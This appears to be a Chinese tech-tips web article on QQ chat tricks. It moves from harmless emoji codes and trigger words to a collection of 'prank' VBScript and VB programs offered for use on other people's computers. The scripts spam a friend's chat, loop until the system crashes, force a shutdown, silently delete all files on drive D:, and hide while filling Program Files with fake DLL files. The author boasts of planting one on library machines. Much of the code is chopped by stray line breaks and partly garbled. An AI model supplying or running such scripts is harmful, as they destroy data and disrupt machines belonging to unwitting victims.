qq发消息炫酷代码(消息恶搞代码)

http://www.itjxue.com  2023-02-02 15:31  来源:未知  点击次数: 

qq一些好玩的隐藏代码

qq一些好玩的隐藏代码如下:

1、语音变声:进入QQ聊天界面后,点击“麦克风”选项,选择“变声”功能,长按中间的对话按钮,随后选择声音风格,分别有萝莉、大叔、惊悚和搞怪等风格,然后再点击发送。

2、群匿名:点击群管理,打开群匿名,然后点击“+”,选择点击匿名即可。

3、悄悄话:进入QQ聊天界面,点击下方的“+”选项,进入菜单后向左滑动,点击“悄悄话”功能,然后编辑要发表的悄悄话,点击发送对方即可。

qq表白代码满屏

1、发送xoxo(会出现满屏的亲亲)

2、发送mi manchi(会出现满屏的小星星)

3、发送ohh(翻译:留在我身边)

4、发送lch will mit dir S win(翻译:我想和你在一起)

5、发送Voce e meu bebe(翻译:你是我的宝贝)

6、发送love at fist sight(翻译:一见钟情)

7、发送RUYDUAautrinuU(翻译:我只喜欢你)

8、发送We will be happy(我们会幸福)

手机QQ空间发说说彩色字体的代码大全求,,最好能标清楚那个代码是那个颜色,多谢

(代码){uin:,nick:,who:1}

(示范){uin:1905636670,nick:点击,who:1}

复制发说说有效果,蓝色字体,后面输QQ能进空间,前面打字

qq怎么发有颜色的消息代码

想要用qq发消息显示是红色,选择一个红色的气泡是至关重要的,只有这样才能把qq变成红色。

有时候给好友发消息,信息前面会出现一个红色的感叹号,红色感叹号一般代表消息没有发送成功,而经常用qq的人都知道这样的情况大多情况下就是被对方拉黑或者删除了。

其实,还有可能是个别服务器波动出现的问题,或者是网速不好,不能一味的认为是被对方拉黑或者删除了。

qq是人们生活中经常使用的的APP,发出的消息显示是红色的,可以让对方感觉到新奇。

是一种新颖的发消息方式,所以很多人喜欢使用气泡来发消息。

QQ空间发表说说表情代码。

[em]e100[/em]微笑

[em]e101[/em]撇嘴

[em]e102[/em]色

[em]e103[/em]发呆

[em]e104[/em]得意

[em]e105[/em]流泪

[em]e106[/em]害羞

[em]e107[/em]闭嘴

[em]e108[/em]睡

[em]e109[/em]大哭

[em]e110[/em]尴尬

[em]e111[/em]发怒

[em]e112[/em]调皮

[em]e113[/em]呲牙

[em]e114[/em]惊讶

[em]e115[/em]难过

[em]e116[/em]酷

[em]e117[/em]冷汗

[em]e118[/em]抓狂

[em]e119[/em]吐

[em]e120[/em]偷笑

[em]e121[/em]可爱

[em]e122[/em]白眼

[em]e123[/em]傲慢

[em]e124[/em]饥饿

[em]e125[/em]困

[em]e126[/em]惊恐

[em]e127[/em]流汗

[em]e128[/em]憨笑

[em]e129[/em]大兵

[em]e130[/em]奋斗

[em]e131[/em]咒骂

[em]e132[/em]疑问

[em]e133[/em]嘘

[em]e134[/em]晕

[em]e135[/em]折磨

[em]e136[/em]衰

[em]e137[/em]骷髅

[em]e138[/em]敲打

[em]e139[/em]再见

[em]e140[/em]擦汗

[em]e141[/em]抠鼻

[em]e142[/em]鼓掌

[em]e143[/em]糗大了

[em]e144[/em]坏笑

[em]e145[/em]左哼哼

[em]e146[/em]右哼哼

[em]e147[/em]哈欠

[em]e148[/em]鄙视

[em]e149[/em]委屈

[em]e150[/em]快哭了

[em]e151[/em]阴脸

[em]e152[/em]亲亲

[em]e153[/em]吓

[em]e154[/em]可怜

[em]e155[/em]菜刀

[em]e156[/em]西瓜

[em]e157[/em]啤酒

[em]e158[/em]篮球

[em]e159[/em]乒乓

[em]e160[/em]咖啡

[em]e161[/em]饭

[em]e162[/em]猪头

[em]e163[/em]玫瑰

[em]e164[/em]凋谢

[em]e165[/em]示爱

[em]e166[/em]爱心

[em]e167[/em]心碎

[em]e168[/em]蛋糕

[em]e169[/em]闪电

[em]e170[/em]炸弹

[em]e171[/em]刀

[em]e172[/em]足球

[em]e173[/em]瓢虫

[em]e174[/em]便便

[em]e175[/em]月亮

[em]e176[/em]太阳

[em]e177[/em]礼物

[em]e178[/em]拥抱

[em]e179[/em]强

[em]e180[/em]弱

[em]e181[/em]握手

[em]e182[/em]胜利

[em]e183[/em]抱拳

[em]e184[/em]勾引

[em]e185[/em]拳头

[em]e186[/em]差劲

[em]e187[/em]爱你

[em]e188[/em]NO

[em]e189[/em]OK

[em]e190[/em]爱情

[em]e191[/em]飞吻

[em]e192[/em]跳跳

[em]e193[/em]发抖

[em]e194[/em]怄火

[em]e195[/em]转圈

[em]e196[/em]磕头

[em]e197[/em]回头

[em]e198[/em]跳绳

[em]e199[/em]挥手

[em]e200[/em]激动

[em]e201[/em]街舞

[em]e202[/em]献吻

[em]e203[/em]左太极

[em]e204[/em]右太极

我要QQ聊天的恶搞代码

首先你在要建一个文本文档(在桌面点右键

--

新建

--

文本文档)把下面的你想要的代码复制

到文本文档

保存

把名字

txt

改成

vbs

OK

vbs

整人代码大集合

一、

你打开好友的聊天对话框

,

然后记下在你

QQ

里好友的昵称

,

把下面代码里的

xx

替换一下

,

就可以自定义发送

QQ

信息到好友的次数

(

代码里的数字

10

改一下即可

).

xx.vbs=

=---------------------------------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("

xx

聊天中

")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

QQ

骚扰信息

,

也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈

------------------------------------------------------------------------------

do

msgbox "You are foolish!"

loop

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

三、打开无数个计算器,直到死机

------------------------------------------------------------------------------

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

四、直接关机

-----------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

五、删除

D:\

所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

六、不断弹出窗口

----------------------------------------------------------------------------

while(1)

msgbox "

哈哈

你被耍了!

"

loop

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

七、不断按下

alt+f4

(开什么都关闭??)

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

---------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

八、按

500

次回车

(

以上代码在运行者的电脑上显示

500

个对话框。其中

do until s=500

500

可以随意更改

)

-----------------------------------------------------------------------------

dim s

do until s=500

s=s+1

msgbox "

哥们,给我按

500

次回车吧

",64

loop

'------------------------ ------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

九、关不掉的窗口

------------------------------------------------------------------------------------

WScript.Echo("

嘿,谢谢你打开我哦,我等你很久

拉!

"TSName)

WScript.Echo("

你是可爱的小朋吗

?")

WScript.Echo("

,

我想你拉,这你都不知道吗?

")

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

[color=#FF0000]

复制以这个代码,在桌面建一个文本,把代码放进去,另存为

VBS

格式,

此代码的威力:

1

:开机就强制自动关机

2

cmd

命令打不开

3

:结束任务不管用

4

F8

安全模式也不管用

呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、

代码破解方法:就是再运行一次,就可以破解了,也就是第

2

次保存的那个

VBE

文件,

PS

:不要乱拿软件去整人,发生什么事可不要怪我啊。

拍拍手

顶起吧!

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

恐怖啊

整人

小心用

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

'

声明变量,其中“

count

”为静态变量,以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

'

定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

'

生成文件的内容

nr = "

哈哈,被黑的感觉的不错吧

"

files = FreeFile

'

如果

a

等于

a

那么就执行

If a = a Then

'count

不断的加

1

,以便产生不同的文件名

count = count + 1

'

产生文件名及文件句柄,并用

count

作为产生不同的文件名。

Open c "system" count ".dll" For Append As #files

'

向文件写内容

Write #files, nr

'

清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示

Close #files

End If

End Sub

(责任编辑:IT教学网)

更多

推荐计算机等级考试文章